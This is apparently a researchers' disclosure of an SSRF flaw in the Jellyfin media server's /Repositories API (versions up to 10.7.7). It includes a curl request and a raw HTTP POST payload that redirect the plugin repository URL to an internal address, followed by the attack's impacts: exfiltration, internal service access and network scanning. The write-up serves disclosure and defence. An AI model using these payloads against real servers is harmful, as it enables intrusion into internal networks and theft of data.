1038 views
# Jellyfin <= 10.7.7 API SSRF details ## Acknowledgment **Credit to [@beet1e](https://github.com/b33t1e) from Shanghai Jiao Tong University and [@chenlibo147](chenlibo147@mail.sdu.edu.cn) , [@houqinsheng](houqinsheng@mail.sdu.edu.cn), 202037049@mail.sdu.edu.cn from Shandong University.** ## Vulnerability description Follow the official documentation to start Jellyfin with docker installation. The /Repositories API's url parameter is vulnerable to SSRF. First we use the following payload to get the Repository of the system itself: ``` curl -X GET "http://192.168.202.200:8096/Repositories" -H "accept: application/json" -H "x-emby-token: ffade680642940aa863cd6814fa27b58" ``` The output is as follows: ``` [{"Name":"Jellyfin Stable","Url":"https://repo.jellyfin.org/releases/plugin/manifest-stable.json","Enabled":true}] ``` Then modify the Repository with the following payload: ``` POST /Repositories HTTP/1.1 Host: localhost:8096 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8096/api-docs/swagger/index.html Content-Type: application/json x-emby-token: ffade680642940aa863cd6814fa27b58 Content-Length: 100 Origin: http://localhost:8096 Connection: close Cookie: _ga=GA1.1.1498442159.1668426324; _csrf=EzGmltlz6fkQ3i757JPXp11yNRo6MTY2ODc1MDk2MzQ1MTczMTcwNA [{"Name":"Jellyfin Stable","Url":"http://127.0.0.1:2233/ssrf_test?param=1&param2=3","Enabled":true}] ``` At this time, we get the Repository again, and the output is as follows: ![](https://notes.sjtu.edu.cn/uploads/upload_09ed854da474728d1bab5f896d047951.png) It can be found that the Url of the Repository has been modified into an SSRF test request. At this time, port 2233 is monitored in the container, and the following payload is used to trigger the request: ![](https://notes.sjtu.edu.cn/uploads/upload_2000f1edb1ae1ba6266192d29b01c9bc.png) This allows: **Information Disclosure and Exfiltration** This was previously identified as an issue. Requests for images that are unauthenticated can lead to the leak of all existing images in the server. However, this isn't limited to just images. Any resource that can be obtained via an HTTP request on the local network of the webserver can be obtained remotely via this request. **Unauthenticated Access to Internal Network HTTP Servers** The SSRF attack can be leveraged to connect to any HTTP Server connected to the same network as the Jellyfin server, for instance an Nginx server exposed only internally, an internal RESTful API, such as a NoSQL database, or a GraphQL database. This is not limited just to services hosted on the local machine, but all the machines connected on the local network. **Port and IP Scanning and Enumeration** This vulnerability can be leveraged to port scan for HTTP servers both internal and external services on demand, as well as enumerating all the machines in the local network that have open HTTP ports.